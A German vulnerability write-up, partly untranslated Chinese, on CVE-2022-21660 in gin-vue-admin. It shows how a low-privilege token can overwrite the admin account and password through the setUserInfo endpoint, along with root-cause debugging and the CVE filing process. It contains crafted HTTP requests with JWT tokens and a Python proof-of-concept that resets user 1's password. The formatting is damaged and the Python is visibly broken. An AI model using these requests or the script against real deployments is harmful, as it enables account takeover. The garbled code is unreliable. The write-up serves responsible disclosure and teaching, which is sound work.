
CVE-2022-21660
Herzlich willkommen an alle großen Meister, diesem Projekt einen Stern zu geben.```http https://github.com/flipped-aurora/gin-vue-admin/

Nachdem der Artikel fertig geschrieben war, war es etwas umständlich, eine CVE zu beantragen, aber es hat letztendlich geklappt. Die Mitarbeiter von GitHub reagierten schnell.
> ps: Bevor die CVE beantragt wurde, wurde bereits CNVD eingereicht.

### 2. Aufbau der Umgebung
Gemäß der offiziellen Anleitung```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Wechseln Sie anschließend in das server-Verzeichnis.```bash go generate
```bash
go build -o server main.go
Dann einfach den Server starten

Dann ist WEB dran. Gehe in das web-Verzeichnis und gib ein:```bash cnpm install || npm install
Warten Sie dann einfach

Nach der Installation wird automatisch die Webseite geöffnet


Dann initialisieren und die Datenbankinformationen einrichten

Nach der Konfiguration klicken Sie auf Initialisieren und melden Sie sich an

### 3. Schwachstellen-Reproduktion
### SetUserInfo: Vertikale Privilegieneskalation
##### 1. Schnittstelle SetUserInfo: Unberechtigtes Festlegen von Benutzerprofilen
Wir gehen direkt zur Benutzerverwaltungsseite und fügen eine neue Benutzerrolle mit niedrigen Berechtigungen hinzu

Man sieht, dass oben keine Administratorberechtigungen vergeben wurden. Als nächstes erstellen wir ein neues Konto und weisen es dieser Rollengruppe zu


Die Schwachstelle befindet sich in Zeile 273 von https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Hier gibt es keine Validierung der übergebenen ID; die ID repräsentiert den Benutzer. Wenn man eine bestimmte ID direkt übergibt, kann man die persönlichen Informationen des entsprechenden Benutzers ändern.

Zuerst testen wir mit dem Admin-X-Token, den Namen des Benutzers mit ID 1 in test1 zu ändern. Anschließend können wir im Backend sehen, dass die Admin-ID bereits in test1 geändert wurde.

Als Nächstes ersetzen wir das Token des neu erstellten Kontos UzJu_HxSecTeam und ändern den Admin-Benutzernamen in test2.
Zuerst rufen wir die persönlichen Informationen des Kontos UzJu_HxSecTeam auf, gehen zu Persönliche Informationen > Passwort ändern, ändern dort beliebig das Passwort und erhalten das Token des Kontos.

Dieses Token gehört der Rolle mit niedrigen Berechtigungen. Normalerweise kann ein Benutzer mit niedrigen Berechtigungen keine Administratorinformationen ändern.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Wir ersetzen das Token und konstruieren die folgenden JSON-Daten```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Wir ersetzen das Token in der setUserinfo-Schnittstelle.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Dann wird uns angezeigt, dass die Einstellung erfolgreich war.

Wir wechseln nun zum Administratorkonto, um zu überprüfen, ob es in test2 geändert wurde.

Man sieht, dass der Administrator-Benutzer erfolgreich geändert wurde.
##### 2. Vertikale Berechtigungsüberschreitung der SetUserInfo-Schnittstelle zum bedingungslosen Ändern des Administratorkennworts
Beim Debuggen wurde festgestellt, dass die Schnittstelle setUserInfo zur Berechtigungsüberschreitung beim Festlegen persönlicher Informationen nicht nur id, username, nickname, headimg setzen kann, sondern auch Parameter wie password übergeben werden können.

Zum Beispiel konstruieren wir eine Anfrage, um den Namen des Benutzers mit ID 1 auf admin und den Spitznamen auf Superuser-Administrator zu setzen.
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
此时管理员的密码已经被修改为了qwe@123,尝试登陆

随后成功登录

PS: Voraussetzung hierfür ist, dass das Passwort des Benutzers, den ich ändern möchte, bekannt sein muss.
Zunächst wissen wir, dass das Standard-Admin-Passwort 123456 ist. Zu diesem Zeitpunkt müssen wir nur JSON-Daten erstellen und den Parameter username in den JSON-Daten in den Benutzernamen ändern, den wir privilegienüberschreitend ändern möchten.
Zunächst melden wir uns mit einem Konto mit niedrigen Berechtigungen an und ändern einmal das Passwort.

Wir werden eine changePassword-Anfrage abfangen und diese dann in den Repeater legen.

Anschließend müssen wir nur den Parameter username in admin ändern.

Danach wird uns mitgeteilt, dass die Änderung erfolgreich war. Dann melden wir uns mit dem neuen Passwort als admin an.

Anschließend erfolgreich angemeldet.

Die Schwachstelle befindet sich in https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, Zeile 139.```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> Hier gibt es eine Kontroverse: Da man den Benutzernamen und das Passwort anderer bereits kennt, könnte man sich doch einfach in deren Konto einloggen. Das ist in der Tat möglich, allerdings ist der logische Ablauf unseres Programms wie folgt: Wir haben die Authentifizierung bereits abgeschlossen. Normalerweise kann der aktuelle Benutzer nur sein eigenes Passwort ändern, aber hier kann durch Ändern der ID das Passwort eines anderen geändert werden. Aus einem anderen Blickwinkel betrachtet, kann man dies auch als eine Art Brute-Force-Angriff betrachten, da die Anmeldeseite durch einen Captcha geschützt ist.
### 4. Analyse der Schwachstellenursache
> PS: Der gesamte folgende Inhalt stammt aus dem Verständnis eines Skript-Kiddies, das überhaupt kein Go gelernt hat, keine Entwicklungserfahrung hat und nur Python beherrscht.
Betrachten wir zunächst, warum es aus normaler Geschäftslogik zu einer Berechtigungsausweitung kommen kann. Das Prinzip ist eigentlich recht einfach: Beim Erstellen einer neuen Rollenberechtigung gibt es einige obligatorische Parameter. Genau diese Parameter ermöglichen dem Benutzer eine Berechtigungsausweitung (obwohl man sie nicht abwählen kann, da es sich um Standard-Mandatory-Parameter handelt). Letztlich liegt das Problem im Code, der einen logischen Fehler aufweist.

Zunächst sehen wir uns die Berechtigungen der Rolle nach dem Erstellen an:

Man sieht, dass der standardmäßig neu erstellte Benutzer in der Rollenmenü nur die Berechtigung hat, auf das Dashboard zuzugreifen. Schauen wir uns jedoch die API-Berechtigungen der Rolle an:

Hier gibt es einige obligatorische Berechtigungen:
+ Benutzerregistrierung
+ Benutzerinformationen festlegen
+ Eigene Informationen abrufen
+ Passwort ändern
+ Benutzerrolle ändern
Dies ist auch der Ursprung dieser Schwachstelle. Zunächst betrachten wir "Benutzerinformationen festlegen". Wenn wir die Auswahl aufheben:

Dann setzen wir den Token des Kontos der niedrigprivilegierten Rollengruppe in Burp und versuchen es:
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
Es ist sehr deutlich zu sehen, dass wir derzeit keine Berechtigung haben, diese Benutzerinformationen zu setzen. Und auf der Debug-Seite von Go können wir leicht feststellen, dass der Code-Logik nach, wie jetzt haben wir keine Berechtigung, Benutzerinformationen zu setzen, aber theoretisch hätte ich beim Zugriff auf dieses Interface einen Debug-Breakpoint setzen können, der abfängt. Aber wie unten im Bild zu sehen, nachdem ich den Breakpoint gesetzt habe, hat das Programm nicht angehalten.

Daraus kann man schließen, dass vor dieser Operation eine Authentifizierung stattfinden sollte (üblich wäre wohl RBAC). Nun geben wir der niedrig privilegierten Rollengruppe die Berechtigung, Benutzer zu setzen, und spielen das Ganze noch einmal ab.


Wir können sehen, dass das Programm hier erfolgreich angehalten hat. Ich denke (als Go-Anfänger), dass man über Debugging die Authentifizierung hier finden kann :)
Zuerst unter Mac mit Command + linker Maustaste herausfinden, wo diese Funktion aufgerufen wird.

Dann sieht man hier eine Funktion InitUserRouter, die die Benutzerrouten initialisiert.

Weiter mit der alten Methode: Command + linker Mausklick, um herauszufinden, wo InitUserRoute aufgerufen wird.

Hier fällt auf: Es gibt ein JWTAuth() und ein middleware.CasbinHandler().
Zuerst schauen wir uns middleware.JWTAuth() an, wieder mit Command + linker Mausklick.

Dann gelangen wir zu einer jwt.go. Die Logik können wir uns ansehen (danke auch an den Autor für die Kommentare).

In Go bedeutet token:= vermutlich, eine Variable zu definieren, die den x-token aus dem Header der Anfrage empfängt. Zuerst wird geprüft, ob der Token leer ist. Wenn leer, wird direkt zurückgegeben, dass der Benutzer nicht eingeloggt oder der Zugriff unerlaubt ist.

Danach wird geprüft, ob der Benutzer-Token in einer Blacklist ist. Dies sollte über einen Cache oder beim Logout des Benutzers festgestellt werden, ob der Token bereits ungültig ist. Wenn ungültig, wird zurückgegeben, dass eine anderweitige Anmeldung oder der Token ungültig ist.

Hier wird der Token an die Funktion ParseToken übergeben, um den Token zu parsen. Wir können dort hineinschauen.

Ich verstehe nicht, was jwt.ParseWithClaims ist ... Traditionelles Vorgehen: google.com.

Hier werden JWT-Ver- und Entschlüsselung durchgeführt und ein SigningKey zurückgegeben, dann geht es weiter.
Dank des Autors für den Hinweis: Hier wird der übergebene JWT-String geparst, um die jwt.Token-Struktur zu erhalten. Dann werden aus der Struktur die Claims extrahiert, um die Benutzerinformationen zu erhalten, die beim Erstellen des Tokens daran angehängt wurden.

Durch Google habe ich erfahren, dass ValidationErrorMalformed verwendet wird, um zu prüfen, ob der Token fehlerhaft ist, dann ValidationErrorExpired für die Ablaufprüfung, dann ValidationErrorNotValidYet für die Aktivierungsprüfung, und dann wird zurückgegeben. Obwohl es unten noch einen Codeabschnitt gibt:

Danach wird geprüft, ob der Token abgelaufen ist. Wenn nicht abgelaufen, geht es zu reload. Dann kommen wir zu middleware.CasbinHandler().

Zuerst wird utils.GetClaims mit einem Parameter aufgerufen.

Diese Funktion holt den x-token und parst diesen Token, um zu prüfen, ob er abgelaufen ist usw.

Danach wird die Rolle des Benutzers geprüft. Die Zahlen 1234 hier sind die Rollengruppen-IDs, die wir im Web festgelegt haben.


Dann geht es zu casbinService.Casbin(), traditionelle Vorgehensweise: direkt Baidu.

Wie zuvor vermutet, RBAC-Zugriffskontrolle. Hier wird eine Datenbankverbindung hergestellt. Dann habe ich mit F7 Schrittweise eingesehen, aber es war zu kompliziert, um es zu verstehen.

Anhand der Kommentare kann man schließen, dass hier die Berechtigungen geprüft werden.
Maschinelle Übersetzung: Enforce entscheidet, ob ein "Subject" auf ein "Object" mit der Operation "Action" zugreifen kann. Die Eingabeparameter sind normalerweise: (sub, obj, act).

Danach wird geprüft, ob es sich um eine Entwicklungsumgebung handelt, und success ist gleich false. Hier steht || für "oder": entweder Erfolg oder Meldung "unzureichende Berechtigung".
Schauen wir uns an, wie das setuserinfo-Interface bei vorhandener Berechtigung abläuft. Zuerst setzen wir einen Breakpoint im Interceptor.

Tipp: Durch Baidu habe ich herausgefunden, dass hier das Golang-Casbin-Zugriffskontroll-Framework verwendet wird. https://blog.csdn.net/qq_42015552/article/details/104013264
Dann setzen wir auch einen Breakpoint bei setuserinfo.

Da der Interceptor im Programmablauf vor setuserinfo kommt, beginnen wir mit dem Debuggen des Interceptors.
Nachdem Burp die Anfrage gesendet hat, warten wir. Dann schauen wir uns das Schritt-für-Schritt-Debugging an.

Zu diesem Zeitpunkt ist unsere Rollengruppe 1234.

Dann wird die Datenbankverbindung hergestellt, danach die Berechtigungsprüfung.


Hier wird true zurückgegeben, was bedeutet, dass die Berechtigung vorhanden ist. Dann wird geprüft, ob es sich um eine Entwicklungsumgebung handelt oder ob success gleich true ist. Dies wird definitiv das erste if durchlaufen.
Dann gelangen wir zum setuserinfo-Interface.

shouldBindJson bindet die JSON-Parameter.

Danach wird hier vermutlich geprüft, ob die übergebenen JSON-Parameter korrekt sind.

Unten wird direkt userid eingesetzt.

Die ID hier wird vom Frontend übergeben und kann beliebig geändert werden, was zur Berechtigungseskalation führt.


Nachdem es in die Datenbank eingesetzt wurde, wird nach dem Update zurückgegeben.

Dann ist das Update erfolgreich.
Die wichtigsten Authentifizierungsoperationen befinden sich in der Funktion CasbinHandler in der Datei cashbin.rbac.go, und zwar in casbinService.Casbin() und e.Enforce(sub, obj, act).
Mein Verständnis der Berechtigungseskalation hier ist: Wenn die Berechtigung zum Setzen von Benutzerinformationen erteilt wird, dann kann dieser Benutzer standardmäßig in der Berechtigungsregel Benutzerinformationen ändern, und beim Ändern kann die ID durch eine andere ersetzt werden, um die Daten eines anderen zu ändern.
An diesem Punkt wird klar: Zuerst wird über AuthorityId geprüft, ob der Benutzer die Berechtigung hat, auf ein bestimmtes Interface zuzugreifen.

Aber die ID, die in setuserinfo verwendet wird, ist die Benutzerkonto-ID.

Das führt zur Berechtigungseskalation, da diese ID vom Frontend kontrolliert werden kann und bereits nach der Authentifizierung liegt. Nach Rücksprache mit dem Autor erklärte er, dass die Reparatur relativ einfach sei, indem man user.id einfach als die dem JWT entsprechende Berechtigungs-ID zwangsweise zuweist. Dadurch würde keine Berechtigungseskalation mehr auftreten, da unabhängig davon, was das Frontend übergibt, im Code eine Zeile den Wert von user.id auf die dem aktuellen JWT entsprechende ID setzt.
In der Geschäftslogik sind diese Berechtigungen jedoch notwendig, da der aktuelle Benutzer ohne sie seine eigenen Informationen nicht ändern könnte.

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
Warum die Methode `check_interface_ChangePassword` nicht implementiert wurde: Dies könnte als Schnittstelle für Brute-Force-Angriffe betrachtet werden, denn bevor das Passwort eines beliebigen Benutzers geändert werden kann, muss das Passwort des entsprechenden Kontos bekannt sein – das ist wie Brute-Force. Deshalb wurde sie hier nicht implementiert. Bei der Methode `checkvuln` kann die `id` in den `payload_data`-JSON-Daten beliebig geändert werden; sie könnte auch in einer `for`-Schleife durchlaufen werden, da in der tatsächlichen Umgebung nicht sicher ist, ob die ID des Administrators `1` ist, oder falls böswillige Manipulation vorliegt, könnte dies gewisse Auswirkungen haben.

### 6. CVE-Beantragung
> CNVD muss nicht erwähnt werden – es wurde sicherlich bereits eingereicht; hier geht es um die Beantragung einer CVE.
>
> Die Nummernbeantragung über GitHub geht besonders schnell, im Grunde maximal 3 Tage; hier wurde am selben Tag am nächsten Morgen die vorläufige CVE-Nummer erhalten.
>
> Die folgenden Schritte erfordern die Unterstützung des Autors, sonst haben Sie nicht die Schaltfläche „New Draft security advisory“.



Im Description-Feld den Inhalt der Schwachstelle, den Reproduktionsprozess und den POC eintragen, dann auf „create draft security advisory“ klicken.
**Da wir dies zum ersten Mal beantragt haben, machten wir den Fehler, nur einen Entwurf zu erstellen, ohne eine Anfrage zu senden, was zu einer unnötigen Wartezeit von 7 Tagen führte.**

Nach dem Ausfüllen unbedingt nach unten scrollen und auf „request CVE ID“ klicken.


> Referenzartikel: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### 7. Danksagung
+ Homepage des Autors: https://github.com/flipped-aurora/
+ GitHub des Autors: https://github.com/piexlmax
+ Projektadresse von Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin